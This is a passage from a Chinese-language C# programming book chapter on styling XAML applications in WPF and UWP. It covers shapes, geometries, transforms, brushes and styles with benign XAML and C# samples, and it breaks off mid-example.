第30章将讨论XAML,讨论样式和资源。 第30章 样式化XAML应用程序 本章要点 ● 为WPF和UWP应用程序指定样式 ● 用形状和几何形状创建基础图 ● 用转换进行缩放、旋转和扭曲 ● 使用笔刷填充背景 ● 处理样式、模板和资源 ● 创建动画 ● Visual State Manager 本章源代码下载地址(wrox.com): 打开网页http://www.wrox.com/go/professionalcsharp6,单击Download Code选项卡即可 下载本章源代码。本章代码分为以下几个主要的示例文件: ● Shapes ● Geometry ● Transformation ● Brushes ● Styles and Resources ● Template ● Animation ● Transitions ● Visual State 30.1 样式设置 近年来,开发人员越来越关心应用程序的外观。当Windows Forms是创建桌面应用程 序的技术时,用户界面没有提供许多设置应用程序样式的选项。控件有标准的外观,根据 正在运行应用程序的操作系统版本而略有不同,但不大容易定义完整自定义的外观。 Windows Presentation Foundation(WPF)改变了这一切。WPF基于DirectX,从而提 供了向量图形,允许方便地调整窗口和控件的大小。控件是完全可定制的,可以有不同的 外观。设置应用程序的样式变得非常重要。应用程序可以有任何外观。有了优秀的设计, 用户可以使用应用程序,而不需要知道如何使用Windows应用程序。相反,用户只需要拥 有特定领域的知识。例如,苏黎世机场创建了一个WPF应用程序,其中的按钮看起来像 飞机。通过按钮,用户可以获取飞机的位置信息(完整的应用程序看起来像机场)。按钮 的颜色可以根据配置有不同的含义:它们可以显示航线或飞机的准时/延迟信息。通过这 种方式,应用程序的用户很容易看到目前在机场的飞机有或长或短的延误。 应用程序拥有不同的外观,这对于Universal Windows Platform (UWP)应用程序更 加重要。在这些应用程序中,以前没有使用过Windows应用程序的用户可以使用这些设 备。对于非常熟悉Windows应用程序的用户,应该考虑通过使用户工作得更方便的典型过 程,帮助这些用户提高效率。 在设置WPF应用程序的样式时,微软公司没有提供很多指导。应用程序的外观主要 取决于设计人员的想象力。对于UWP应用程序,微软公司提供了更多的指导和预定义的 样式,也能够修改任意样式。 本章首先介绍XAML的核心元素shapes,它允许绘制线条、椭圆和路径元素。介绍了 形状的基础之后,就讨论geometry元素。可以使用geometry元素来快速创建基于矢量的图 形。 使用transformation,可以缩放、旋转任何XAML元素。用brush可以创建纯色、渐变 或更高级的背景。本章将论述如何在样式中使用画笔和把样式放在XAML资源中。 最后,使用template模板可以完全自定义控件的外观,本章还要学习如何创建动画。 示例代码可用于UWP应用程序和WPF。当然,如果功能仅仅可用在一种技术中,示 例代码也只能用于其中。 30.2 形状 形状是XAML的核心元素。利用形状,可以绘制矩形、线条、椭圆、路径、多边形和 折线等二维图形,这些图形用派生自抽象类Shape的类表示。图形在 System.Windows.Shapes(WPF)和Windows. UI.Xaml.Shapes (UWP)名称空间中定义。 下面的XAML示例绘制了一个黄色笑脸,它用一个椭圆表示笑脸,两个椭圆表示眼 睛,两个椭圆表示眼睛中的瞳孔,一条路径表示嘴型(代码文件Shapes[WPF|UWP]/ Main[Window|Page].xaml): <Canvas> <Ellipse Canvas.Left="10" Canvas.Top="10" Width="100" Height="100" Stroke="Blue" StrokeThickness="4" Fill="Yellow" /> <Ellipse Canvas.Left="30" Canvas.Top="12" Width="60" Height="30"> <Ellipse.Fill> <LinearGradientBrush StartPoint="0.5,0" EndPoint="0.5, 1"> <GradientStop Offset="0.1" Color="DarkGreen" /> <GradientStop Offset="0.7" Color="Transparent" /> </LinearGradientBrush> </Ellipse.Fill> </Ellipse> <Ellipse Canvas.Left="30" Canvas.Top="35" Width="25" Height="20" Stroke="Blue" StrokeThickness="3" Fill="White" /> <Ellipse Canvas.Left="40" Canvas.Top="43" Width="6" Height="5" Fill="Black" /> <Ellipse Canvas.Left="65" Canvas.Top="35" Width="25" Height="20" Stroke="Blue" StrokeThickness="3" Fill="White" /> <Ellipse Canvas.Left="75" Canvas.Top="43" Width="6" Height="5" Fill="Black" /> <Path Stroke="Blue" StrokeThickness="4" Data="M 40,74 Q 57,95 80,74 " /> </Canvas> 图30-1显示了这些XAML代码的结果。 图30-1 无论是按钮还是线条、矩形等图形,所有这些XAML元素都可以通过编程来访问。把 Path元素的Name或x:Name属性设置为mouth,就可以用变量名mouth以编程方式访问这个 元素: <Path Name="mouth" Stroke="Blue" StrokeThickness="4" Data="M 40,74 Q 57,95 80,74 " /> 接下来更改代码,脸上的嘴在后台代码中动态改变。添加一个按钮和单击处理程序, 在其中调用SetMouth方法(代码文件Shapes(WPF | UWP)/ Main[Window | Page]. xaml.cs): private void OnChangeShape(object sender, RoutedEventArgs e) { SetMouth(); } 使用WPF时,可以在后台编码中使用路径标记语言(Path Markup Language, PML), 类似于本节在XAML标记中使用Path元素的代码片段。Geometry.Parse会解释PML,创建 一个新的Geometry对象。在PML中,字母M定义了路径的起点,字母Q指定了二次贝塞尔 曲线的控制点和端点(代码文件ShapesWPF / MainWindow.xaml.cs): private bool _laugh = false; private void SetMouth2() { if (_laugh) { mouth.Data = Geometry.Parse("M 40,82 Q 57,65 80,82"); } else { mouth.Data = Geometry.Parse("M 40,74 Q 57,95 80,74"); } _laugh = ! _laugh; } 运行应用程序,得到的图像如图30-2所示。 图30-2 在UWP应用程序中,Geometry类没有提供Parse方法,必须使用图片和片段创建几何 图形。首先,创建一个二维数组,其中包含的6个点定义了表示快乐状态的3个点,和表示 悲伤状态的3个点(代码文件Shapes[WPF|UWP]/Main[Window|Page].xaml.cs): private readonly Point[, ] _mouthPoints = new Point[2, 3] { { new Point(40, 74), new Point(57, 95), new Point(80, 74), }, { new Point(40, 82), new Point(57, 65), new Point(80, 82), } }; 接下来,将一个新的PathGeometry对象分配给Path的Data属性。PathGeometry包含定 义了起点的PathFigure(设置StartPoint属性与PML中的字母M是一样的)。PathFigure包含 QuadraticBezierSegment,其中的两个Point对象分配给属性Point1和Point2 (与带有两个点 的字母Q一样): private bool _laugh = false; public void SetMouth() { int index = _laugh ? 0: 1; var figure = new PathFigure() { StartPoint = _mouthPoints[index, 0] }; figure.Segments = new PathSegmentCollection(); var segment1 = new QuadraticBezierSegment(); segment1.Point1 = _mouthPoints[index, 1]; segment1.Point2 = _mouthPoints[index, 2]; figure.Segments.Add(segment1); var geometry = new PathGeometry(); geometry.Figures = new PathFigureCollection(); geometry.Figures.Add(figure); mouth.Data = geometry; _laugh = ! _laugh; } 分段和图片的使用在下一节详细说明。 表30-1描述了名称空间System.Windows.Shapes和Windows.Ui.Xaml.Shapes中可用的形 状。 表30-1 Shape类 说明 Line 可以在坐标(X1, Y1)到(X2, Y2)之间绘制一条线 Rectangle 使用Rectangle类,通过指定Width和Height可以绘制一个矩 形 Ellipse 使用Ellipse类,可以绘制一个椭圆 Path 使用Path类可以绘制一系列直线和曲线。Data属性是 Geometry类型。还可以使用派生自基类Geometry的类绘制图 形,或使用路径标记语法来定义图形 Polygon 使用Polygon类可以绘制由线段连接而成的封闭图形。多边 形由一系列赋予Points属性的Point对象定义 Polyline 类似于Polygon类,使用Polyline也可以绘制连接起来的线 段。与多边形的区别是,折线不一定是封闭图形 30.3 几何图形 前面示例显示,其中一种形状Path使用Geometry来绘图。Geometry元素也可用于其他 地方,如用于DrawingBrush。 在某些方面,Geometry元素非常类似于形状。与Line、Ellipse和Rectangle形状一样, 也有绘制这些形状的Geometry元素:LineGeometry、EllipseGeometry和 RectangleGeometry。形状与几何图形有显著的区别。Shape是一个FrameworkElement,可 以用于把UIElement用作其子元素的任意类。FrameworkElement派生自UIElement。形状会 参与系统的布局,并呈现自身。而Geometry类不呈现自身,特性和系统开销也比Shape类 少。在WPF中,Geometry类派生自Freezable基类,可以在多个线程中共享。在UWP应用 程序中,Geometry类直接派生自DependencyObject,这里不能使用Freezable。 Path类使用Geometry来绘图。几何图形可以用Path的Data属性设置。可以设置的简单 的几何图形元素有绘制椭圆的EllipseGeometry、绘制线条的LineGeometry和绘制矩形的 RectangleGeometry。 30.3.1 使用段的几何图形 也可以使用段来创建几何图形。几何图形类PathGeometry使用段来绘图。下面的代码 段使用BezierSegment和LineSegment元素绘制一个红色的图形和一个绿色的图形,如图30- 3所示。第一个BezierSegment在图形的起点(70,40)、终点(150,63)、控制点(90,37) 和(130,46)之间绘制了一条贝塞尔曲线。下面的LineSegment使用贝塞尔曲线的终点和 (120,110)绘制了一条线段(代码文件Geometry[WPF | UWP]/Main[Window | Page].xaml): <Path Canvas.Left="0" Canvas.Top="0" Fill="Red" Stroke="Blue" StrokeThickness="2.5"> <Path.Data> <GeometryGroup> <PathGeometry> <PathGeometry.Figures> <PathFigure StartPoint="70,40" IsClosed="True"> <PathFigure.Segments> <BezierSegment Point1="90,37" Point2="130,46" Point3="150,63" /> <LineSegment Point="120,110" /> <BezierSegment Point1="100,95" Point2="70,90" Point3="45,91" /> </PathFigure.Segments> </PathFigure> </PathGeometry.Figures> </PathGeometry> </GeometryGroup> </Path.Data> </Path> <Path Canvas.Left="0" Canvas.Top="0" Fill="Green" Stroke="Blue" StrokeThickness="2.5"> <Path.Data> <GeometryGroup> <PathGeometry> <PathGeometry.Figures> <PathFigure StartPoint="160,70"> <PathFigure.Segments> <BezierSegment Point1="175,85" Point2="200,99" Point3="215,100" /> <LineSegment Point="195,148" /> <BezierSegment Point1="174,150" Point2="142,140" Point3="129,115" /> <LineSegment Point="160,70" /> </PathFigure.Segments> </PathFigure> </PathGeometry.Figures> </PathGeometry> </GeometryGroup> </Path.Data> 图30-3 图30-4 </Path> 除了BezierSegment和LineSegment元素之外,还可以 使用ArcSegment元素在两点之间绘制椭圆弧。使用 PolyLineSegment可以绘制一组线段,PolyBezierSegment由 多条贝塞尔曲线组成,QuadraticBezierSegment创建一条二 次贝塞尔曲线,PolyQuadraticBezier-Segment由多条二次贝 塞尔曲线组成。 30.3.2 使用PML的几何图形 本章前面使用了PML和路径。而WPF在后台使用 PML,可以通过StreamGeometry进行高效的绘图。UWP应 用程序的XAML会创建图形和片段。通过编程,可以创建 线段、贝塞尔曲线和圆弧,以定义图形。通过XAML可以 使用路径标记语法。路径标记语法可以与Path类的Data属 性一起使用。特殊字符定义点的连接方式。在下面的示例 中,M标记起点,L是到指定点的线条命令,Z是闭合图形 的闭合命令。图30-4显示了这个绘图操作的结果。路径标 记语法允许使用更多的命令,如水平线(H)、垂直线 (V)、三次贝塞尔曲线(C)、二次贝塞尔曲线(Q)、光滑的三次贝塞尔曲线(S)、 光滑的二次贝塞尔曲线(T),以及椭圆弧(A)(代码文件Geometry[WPF | UWP]/Main[Window | Page].xaml): <Path Canvas.Left="0" Canvas.Top="200" Fill="Yellow" Stroke="Blue" StrokeThickness="2.5" Data="M 120,5 L 128,80 L 220,50 L 160,130 L 190,220 L 100,150 L 80,230 L 60,140 L0,110 L70,80 Z" StrokeLineJoin="Round"> </Path> 30.3.3 合并的几何图形(WPF) WPF用几何图形提供了另一个功能,在WPF中,使用CombinedGeometry类可以合并 多个几何图形。 CombinedGeometry有Geometry1和Geometry2属性,使用GeometryCombineMode可以 合并它们,构成Union、Intersect、Xor和Exclude。Union会合并两个几何图形,Intersect只 取两个几何图形都覆盖的区域,Xor与Intersect相反,显示一个几何图形覆盖的区域,但不 显示两个几何图形都覆盖的区域。Exclude显示第一个几何图形减去第二个几何图形的区 域。 下面的示例(代码文件GeometryWPF/MainWindow.xaml)合并了一个EllipseGeometry 和一个RectangleGeometry,生成并集,如图30-5所示。 <Path Canvas.Top="0" Canvas.Left="250" Fill="Blue" Stroke="Black" > <Path.Data> <CombinedGeometry GeometryCombineMode="Union"> <CombinedGeometry.Geometry1> <EllipseGeometry Center="80,60" RadiusX="80" RadiusY="40" /> </CombinedGeometry.Geometry1> <CombinedGeometry.Geometry2> <RectangleGeometry Rect="30,60 105 50" /> </CombinedGeometry.Geometry2> </CombinedGeometry> </Path.Data> </Path> 图30-5 图30-5显示了这个XAML代码的不同变体,从左到右分别是Union、Xor、Intersect、 和Exclude。 30.4 变换 因为XAML基于矢量,所以可以重置每个元素的大小。在下面的例子中,基于矢量的 图形现在可以缩放、旋转和倾斜。不需要手工计算位置,就可以进行单击测试(如移动鼠 标和鼠标单击)。 图30-6显示了一个矩形的几个不同形式。所有的矩形都定位在一个水平方向的 StackPanel元素中,以并排放置矩形。第1个矩形有其原始大小和布局。第2个矩形重置了 大小,第3个矩形移动了,第4个矩形旋转了,第5个矩形倾斜了,第6个矩形使用变换组进 行变换,第7个矩形使用矩阵进行变换。下面各节讲述所有这些选项的代码示例。 图30-6 30.4.1 缩放 给Rectangle元素的RenderTransform属性添加ScaleTransform元素,如下所示,把整个 画布的内容在X方向上放大0.5倍,在Y方向上放大0.4倍(代码文件 Transformation[WPF|UWP]/Main [Window|Page]. xaml)。 <Rectangle Width="120" Height="60" Fill="Red" Margin="20"> <Rectangle.RenderTransform> <ScaleTransform ScaleX="0.5" ScaleY="0.4" /> </Rectangle.RenderTransform> </Rectangle> 除了变换像矩形这样简单的形状之外,还可以变换任何XAML元素,因为XAML定义 了矢量图形。在以下代码中,前面所示的脸部Canvas元素放在一个用户控件SmilingFace 中,这个用户控件先显示没有转换的状态,再显示调整大小后的状态。结果如图30-7所 示。 <local:SmilingFace /> <local:SmilingFace> <local:SmilingFace.RenderTransform> <ScaleTransform ScaleX="1.6" ScaleY="0.8" CenterY="180" /> </local:SmilingFace.RenderTransform> </local:SmilingFace> 图30-7 30.4.2 平移 在X或Y方向上移动一个元素时,可以使用TranslateTransform。在以下代码片段中, 给X指定-90,元素向左移动,给Y指定20,元素向底部移动(代码文件 Transformation[WPF|UWP]/Main [Window|Page].xaml): <Rectangle Width="120" Height="60" Fill="Green" Margin="20"> <Rectangle.RenderTransform> <TranslateTransform X="-90" Y="20" /> </Rectangle.RenderTransform> </Rectangle> 30.4.3 旋转 使用RotateTransform元素,可以旋转元素。对于RotateTransform,设置旋转的角度, 用CenterX和CenterY设置旋转中心(代码文件Transformation[WPF | UWP]/ Main[Window | Page].xaml): <Rectangle Width="120" Height="60" Fill="Orange" Margin="20"> <Rectangle.RenderTransform> <RotateTransform Angle="45" CenterX="10" CenterY="-80" /> </Rectangle.RenderTransform> </Rectangle> 30.4.4 倾斜 对于倾斜,可以使用SkewTransform元素。此时可以指定X和Y方向的倾斜角度(代码 文件Transformation[WPF | UWP]/ Main[Window | Page].xaml): <Rectangle Width="120" Height="60" Fill="LightBlue" Margin="20"> <Rectangle.RenderTransform> <SkewTransform AngleX="20" AngleY="30" CenterX="40" CenterY="390" /> </Rectangle.RenderTransform> </Rectangle> 30.4.5 组合变换和复合变换 同时执行多种变换的简单方式是使用CompositeTransform(用于UWP应用程序)和 TransformationGroup元素。TransformationGroup可以包含SkewTransform、 RotateTransform、Translate-Transform和ScaleTransform作为其子元素(代码文件 Transformation[WPF | UWP]/Main[Window |Page]. xaml): <Rectangle Width="120" Height="60" Fill="LightGreen" Margin="20"> <Rectangle.RenderTransform> <TransformGroup> <SkewTransform AngleX="45" AngleY="20" CenterX="-390" CenterY="40" /> <RotateTransform Angle="90" /> <ScaleTransform ScaleX="0.5" ScaleY="1.2" /> </TransformGroup> </Rectangle.RenderTransform> </Rectangle> 为了同时执行旋转和倾斜操作,可以定义一个TransformGroup,它同时包含 RotateTransform和SkewTransform。类CompositeTransform定义多个属性,用于一次进行多 个变换。例如,ScaleX和ScaleY进行缩放,TranslateX和TranslateY移动元素。也可以定义 一个MatrixTransform,其中Matrix元素指定了用于拉伸的M11和M22属性,以及用于倾斜 的M12和M21属性,见下一节。 30.4.6 使用矩阵的变换 同时执行多种变换的另一个选择是指定一个矩阵。这里使用 MatrixTransform.MatrixTransform定义了Matrix属性有6个值。设置值1,0,0,1,0,0不改变元 素。值0.5,1.4,0.4,0.5, -200,0会重置元素的大小、倾斜和平移元素(代码文件 Transformation[WPF | UWP]/Main[Window | Page].xaml): <Rectangle Width="120" Height="60" Fill="Gold" Margin="20"> <Rectangle.RenderTransform> <MatrixTransform Matrix="0.5, 1.4, 0.4, 0.5, -200, 0" /> </Rectangle.RenderTransform> </Rectangle> Matrix类型是一个结构,因此在UWP应用程序的XAML代码中不能实例化。然而,前 面的示例将所有矩阵的值放入一个字符串并转换它。使用WPF,可以在XAML代码中实例 化结构,因此可以按名称给Matrix属性赋值,定义相同的值。属性M11和M12是用于缩 放,M12和M21用于倾斜,OffsetX和OffsetY用于平移。 <Rectangle Width="120" Height="60" Fill="Gold" Margin="20"> <Rectangle.RenderTransform> <MatrixTransform> <MatrixTransform.Matrix> <Matrix M11="0.5" M12="1.4" M21="0.4" M22="0.5" OffsetX="-200" OffsetY="0" /> </MatrixTransform.Matrix> </MatrixTransform> </Rectangle.RenderTransform> </Rectangle> 直接将字符串的值分配给MatrixTransform类的Matrix属性时,其顺序是M11 —M12 — M21— M22 —OffsetX — OffsetY。 30.4.7 变换布局 变换示例使用了RenderTransform。WPF还支持LayoutTransform。对于 RenderTransform,在布局阶段完成后进行变换,所以在变换后,元素就不需要不同的大 小。对于LayoutTransform,在布局阶段之前进行变换——这最好用一个示例来说明。在 接下来的代码片段中,在StackPanel中定义两个矩形,它们有相同的高度和宽度,但第一 个矩形使用RenderTransform把其大小调整为原来的1.5倍。如图30-8所示,矩形相互叠 加。布局阶段是在变换之前完成,因此第一个矩形没有足够的空间,只能移到显示区域的 外部(代码文件TransformationWPF/MainWindow.xaml): <StackPanel Orientation="Horizontal"> <Rectangle Width="120" Height="60" Fill="Blue" Margin="20"> <Rectangle.RenderTransform> <ScaleTransform ScaleX="1.5" ScaleY="1.5" /> </Rectangle.RenderTransform > </Rectangle> <Rectangle Width="120" Height="60" Fill="Blue" Margin="20" /> </StackPanel> 图30-8 使用相同的矩形和ScaleTransformation,现在再加上LayoutTransform(WPF支持 它),就可以看到在图30-9中有更多的空间。布局阶段在变换后完成。 <StackPanel Orientation="Horizontal"> <Rectangle Width="120" Height="60" Fill="Blue" Margin="20"> <Rectangle.LayoutTransform > <ScaleTransform ScaleX="1.5" ScaleY="1.5" /> </Rectangle.LayoutTransform > </Rectangle> <Rectangle Width="120" Height="60" Fill="Blue" Margin="20" /> </StackPanel> 图30-9  注意: 除了LayoutTransform之外,还有一个RenderTransform。 LayoutTransform在布局阶段之前发生,RenderTransform在布局阶段之后发生。 30.5 画笔 本节演示了如何使用XAML的画笔绘制背景和前景。使用画笔时,WPF提供的内容比 UWP应用程序多得多。因此,本节首先介绍两种技术所提供的画笔,然后讨论特定 XAML技术可用的画笔。 本节的第一个例子参考图30-10,显示在Button元素的Background属性中使用各种画笔 的效果。 图30-10 30.5.1 SolidColorBrush 图30-10中的第一个按钮使用了SolidColorBrush,顾名思义,这支画笔使用纯色。全 部区域用同一种颜色绘制。 把Background特性设置为定义纯色的字符串,就可以定义纯色。使用 BrushValueSerializer把该字符串转换为一个SolidColorBrush元素(代码文件Brushes[WPF | UWP]/Main[Window | Page].xaml)。 <Button Height="30" Background="#FFC9659C" >Solid Color</Button> 当然,通过设置Background子元素把SolidColorBrush元素添加为它的内容(代码文件 BrushesDemo/ MainWindow.xaml),也可以得到同样的效果。应用程序中的第一个按钮使 用十六进制值用作纯背景色: <Button Content="Solid Color" Margin="10"> <Button.Background> <SolidColorBrush Color="#FFC9659C" /> </Button.Background> </Button> 30.5.2 LinearGradientBrush 对于平滑的颜色变化,可以使用LinearGradientBrush,如图30-10的第二个按钮所示。 这个画笔定义了StartPoint和EndPoint属性。使用这些属性可以为线性渐变指定2D坐标。默 认的渐变方向是从(0,0)到(1,1)的对角线。定义其他值可以给渐变指定不同的方向。 例如,StartPoint指定为(0,0), EndPoint指定为(0,1),就得到了一个垂直渐变。 StartPoint不变,EndPoint值指定为(1,0),就得到了一个水平渐变。 通过该画笔的内容,可以用GradientStop元素定义指定偏移位置的颜色值。在各个偏 移位置之间,颜色是平滑过渡的(代码文件Brushes[WPF | UWP]/ Main[Window | Page].xaml)。 <Button Content="Linear Gradient Brush" Margin="10"> <Button.Background> <LinearGradientBrush StartPoint="0,0" EndPoint="0,1"> <GradientStop Offset="0" Color="LightGreen" /> <GradientStop Offset="0.4" Color="Green" /> <GradientStop Offset="1" Color="DarkGreen" /> </LinearGradientBrush> </Button.Background> </Button> 30.5.3 ImageBrush 要把图像加载到画笔中,可以使用ImageBrush元素。通过这个元素,显示 ImageSource属性定义的图像。图像可以在文件系统中访问,或从程序集的资源中访问。 在代码示例中,添加文件系统中的图像(代码文件Brushes[WPF | UWP]/Main[Window | Page].xaml): <Button Content="Image Brush" Width="100" Height="80" Margin="5" Foreground="White"> <Button.Background> <ImageBrush ImageSource="Build2015.png" Opacity="0.5" /> </Button.Background> </Button> 30.5.4 WebViewBrush 只能用于UWP应用程序的一个强大画笔是WebViewBrush。这个画笔使用WebView的 内容作为画笔。 使用WebView控件,可以使用应用程序分布的一个本地HTML文件,并使用ms-appx- web作为前缀,如示例代码所示(代码文件BrushesUWP/MainPage.xaml): <WebView x:Name="webView1" Source="ms-appx-web:///HTML/HTMLBrushContent.html" LoadCompleted="OnWebViewCompleted" Width="100" Height="80" /> 除了使用应用程序分布的文件之外,还可以上网使用http://检索HTML文件。使用ms- appdata:/ / /前缀时,可以使用本地文件系统中的文件。 WebViewBrush通过SourceName属性引用WebView: <Button Content="WebView Brush" Width="300" Height="180" Margin="20"> <Button.Background> <WebViewBrush x:Name="webViewBrush" SourceName="webView1" Opacity="0.5" /> </Button.Background> </Button> WebViewBrush在加载XAML时绘制。如果WebView那时没有加载源,画笔就需要重 绘。所以WebView定义了LoadCompleted事件。利用与该事件相关联的事件处理程序,调 用Redraw方法来重绘WebViewBrush,把WebView的Visibility属性设置为Collapsed。如果 WebView控件从一开始就是折叠的,画笔就不会显示HTML内容(代码文件BrushesUWP / MainPage.xaml.cs): private void OnWebViewCompleted(object sender, NavigationEventArgs e) { webViewBrush.Redraw(); webView1.Visibility = Visibility.Collapsed; } 30.5.5 只用于WPF的画笔 前一节讨论的WebViewBrush只能用于UWP应用程序,下面介绍只能用于WPF的画 笔。以下描述的所有画笔都只能用于WPF。图30-11显示了只用于WPF的画笔 RadialGradientBrush、DrawingBrush和VisualBrush(两次)。下面从RadialGradientBrush开 始。 图30-11 1. RadialGradientBrush RadialGradientBrush类似于LinearGradientBrush,因为它可以定义一组颜色,获得渐变 效果。使用RadialGradientBrush可以以放射方式产生平滑的颜色渐变。在图30-11中,最左 边的元素Path使用了RadialGradientBrush。该画笔定义了从GradientOrigin点开始的颜色 (代码文件BrushesWPF/MainWindow.xaml)。 <Canvas Width="200" Height="150"> <Path Canvas.Top="0" Canvas.Left="20" Stroke="Black" > <Path.Fill> <RadialGradientBrush GradientOrigin="0.2,0.2"> <GradientStop Offset="0" Color="LightBlue" /> <GradientStop Offset="0.6" Color="Blue" /> <GradientStop Offset="1.0" Color="DarkBlue" /> </RadialGradientBrush> </Path.Fill> <Path.Data> <CombinedGeometry GeometryCombineMode="Union"> <CombinedGeometry.Geometry1> <EllipseGeometry Center="80,60" RadiusX="80" RadiusY="40" /> </CombinedGeometry.Geometry1> <CombinedGeometry.Geometry2> <RectangleGeometry Rect="30,60 105 50" /> </CombinedGeometry.Geometry2> </CombinedGeometry> </Path.Data> </Path> </Canvas> 2. DrawingBrush DrawingBrush可以定义用画笔绘制的图形。图30-11中的按钮带有Content value Drawing Brush内容,它使用DrawingBrush定义了背景。这个画笔利用了GeometryDrawing 元素。GeometryDrawing又使用了两个SolidColorBrush元素:一个红色,一个蓝色。红色 画笔作为背景,蓝色画笔用于钢笔,得到geometry元素周围的笔触。GeometryDrawing的 内容由PathGeometry定义,PathGeometry参见本章前面所讨论的“几何图像”部分(代码文 件BrushesWPF/MainWindow.xaml): <Button Content="Drawing Brush" Margin="10" Padding="10"> <Button.Background> <DrawingBrush> <DrawingBrush.Drawing> <GeometryDrawing Brush="Red"> <GeometryDrawing.Pen> <Pen> <Pen.Brush> <SolidColorBrush>Blue</SolidColorBrush> </Pen.Brush> </Pen> </GeometryDrawing.Pen> <GeometryDrawing.Geometry> <PathGeometry> <PathGeometry.Figures> <PathFigure StartPoint="70,40"> <PathFigure.Segments> <BezierSegment Point1="90,37" Point2="130,46" Point3="150,63" /> <LineSegment Point="120,110" /> <BezierSegment Point1="100,95" Point2="70,90" Point3="45,91" /> <LineSegment Point="70,40" /> </PathFigure.Segments> </PathFigure> </PathGeometry.Figures> </PathGeometry> </GeometryDrawing.Geometry> </GeometryDrawing> </DrawingBrush.Drawing> </DrawingBrush> </Button.Background> </Button> 3. VisualBrush VisualBrush可以在画笔中使用其他XAML元素。下面示例(代码文件 BrushesWPF/MainWindow.xaml)给Visual属性添加一个StackPanel,其中包含Rectangle和 Button元素。图30-11中左边的第3个元素包含一个矩形和一个按钮。 <Button Content="Visual Brush" Width="100" Height="80"> <Button.Background> <VisualBrush Opacity="0.5"> <VisualBrush.Visual> <StackPanel Background="White"> <Rectangle Width="25" Height="25" Fill="Blue" /> <Button Content="Drawing Button" Background="Red" /> </StackPanel> </VisualBrush.Visual> </VisualBrush> </Button.Background> </Button> 可以给VisualBrush添加任意UIElement。一个例子是可以使用MediaElement播放视 频: <Button Content="Visual Brush with Media" Width="200" Height="150" Foreground="White"> <Button.Background> <VisualBrush> <VisualBrush.Visual> <MediaElement Source="./IceSkating.mp4" LoadedBehavior="Play" /> </VisualBrush.Visual> </VisualBrush> </Button.Background> </Button> 在VisualBrush中,还可以创建反射等有趣的效果。这里显示的按钮(图30-11中的最 右边)包含一个StackPanel,它包含一个播放视频的MediaElement和一个Border。Border边 框包含一个用VisualBrush填充的矩形。这支画笔定义了一个不透明值和一个变换。把 Visual属性绑定到Border元素上。变换通过设置VisualBrush的RelativeTransform属性来完 成。这个变换使用了相对坐标。把ScaleY设置为-1,完成Y方向上的反射。 TranslateTransform在Y方向上移动变换,从而使反射效果位于原始对象的下面。 <Button Width="200" Height="200" Foreground="White" Click="OnMediaButtonClick "> <StackPanel> <MediaElement x:Name="media1" Source="IceSkating.mp4" LoadedBehavior="Manual" /> <Border Height="100"> <Rectangle> <Rectangle.Fill> <VisualBrush Opacity="0.35" Stretch="None" Visual="{Binding ElementName=media1}"> <VisualBrush.RelativeTransform> <TransformGroup> <ScaleTransform ScaleX="1" ScaleY="-1" /> <TranslateTransform Y="1" /> </TransformGroup> </VisualBrush.RelativeTransform> </VisualBrush> </Rectangle.Fill> </Rectangle> </Border> </StackPanel> </Button>  注意: 这里使用的数据绑定和Binding元素详见第31章。 在后台代码中,按钮的单击事件处理程序启动视频(代码文件 BrushesWPF/MainWindow.xaml.cs): private void OnMediaButtonClick(object sender, RoutedEventArgs e) { media1.Position = TimeSpan.FromSeconds(0); media1.Play(); } 结果如图30-12所示。 图30-12 30.6 样式和资源 设置XAML元素的FontSize和Background属性,就可以定义XAML元素的外观,如 Button元素所示(代码文件StylesAndResources[WPF | UWP]/Main[Window | Page].xaml): <Button Width="150" FontSize="12" Background="AliceBlue" Content="Click Me! " /> 除了定义每个元素的外观之外,还可以定义用资源存储的样式。为了完全定制控件的 外观,可以使用模板,再把它们存储到资源中。 30.6.1 样式 控件的Style属性可以赋予附带Setter的Style元素。Setter元素定义Property和Value属 性,并给目标元素设置指定的属性和值。下例设置Background、FontSize、FontWeight和 Margin属性。把Style设置为TargetType Button,以便直接访问Button的属性(代码文件 StylesAndResources[WPF |UWP]/Main[Window | Page].xaml)。 <Button Width="150" Content="Click Me! "> <Button.Style> <Style TargetType="Button"> <Setter Property="Background" Value="Yellow" /> <Setter Property="FontSize" Value="14" /> <Setter Property="FontWeight" Value="Bold" /> <Setter Property="Margin" Value="5" /> </Style> </Button.Style> </Button> 直接通过Button元素设置Style对样式的共享没有什么帮助。样式可以放在资源中。在 资源中,可以把样式赋予指定的元素,把一个样式赋予某一类型的所有元素,或者为该样 式使用一个键。要把样式赋予某一类型的所有元素,可使用Style的TargetType属性,将样 式赋予一个按钮。要定义需要引用的样式,必须设置x:Key: <Page.Resources> <Style TargetType="Button" > <Setter Property="Background" Value="LemonChiffon" /> <Setter Property="FontSize" Value="18" /> <Setter Property="Margin" Value="5" /> </Style> <Style x:Key="ButtonStyle1" TargetType="Button" > <Setter Property="Background" Value="Red" /> <Setter Property="Foreground" Value="White" /> <Setter Property="FontSize" Value="18" /> <Setter Property="Margin" Value="5" /> </Style> </Page.Resources> 在样例应用程序中,在页面或窗口中全局定义的样式放在UWP应用程序的 <Page.Resources>中,或者WPF的<Window.Resources>中。 在下面的XAML代码中,第一个按钮没有用元素属性定义样式,而是使用为Button类 型定义的样式。对于下一个按钮,把Style属性用StaticResource标记扩展设置为 {StaticResource ButtonStyle},而ButtonStyle指定了前面定义的样式资源的键值,所以该按 钮的背景为红色,前景是白色。 <Button Width="200" Content="Default Button style" Margin="3" /> <Button Width="200" Content="Named style" Style="{StaticResource ButtonStyle1}" Margin="3" /> 除了把按钮的Background设置为单个值之外,还可以将Background属性设置为定义了 渐变色的LinearGradientBrush,如下所示: <Style x:Key="FancyButtonStyle" TargetType="Button"> <Setter Property="FontSize" Value="22" /> <Setter Property="Foreground" Value="White" /> <Setter Property="Margin" Value="5" /> <Setter Property="Background"> <Setter.Value> <LinearGradientBrush StartPoint="0,0" EndPoint="0,1"> <GradientStop Offset="0.0" Color="LightCyan" /> <GradientStop Offset="0.14" Color="Cyan" /> <GradientStop Offset="0.7" Color="DarkCyan" /> </LinearGradientBrush> </Setter.Value> </Setter> </Style> 本例中下一个按钮的样式采用青色的线性渐变效果: <Button Width="200" Content="Fancy button style" Style="{StaticResource FancyButtonStyle}" Margin="3" /> 样式提供了一种继承方式。一个样式可以基于另一个样式。下面的 AnotherButtonStyle样式基于FancyButtonStyle样式。它使用该样式定义的所有设置,且通 过BasedOn属性引用,但Foreground属性除外,它设置为LinearGradientBrush: <Style x:Key="AnotherButtonStyle" BasedOn="{StaticResource FancyButtonStyle}" TargetType="Button"> <Setter Property="Foreground"> <Setter.Value> <LinearGradientBrush> <GradientStop Offset="0.2" Color="White" /> <GradientStop 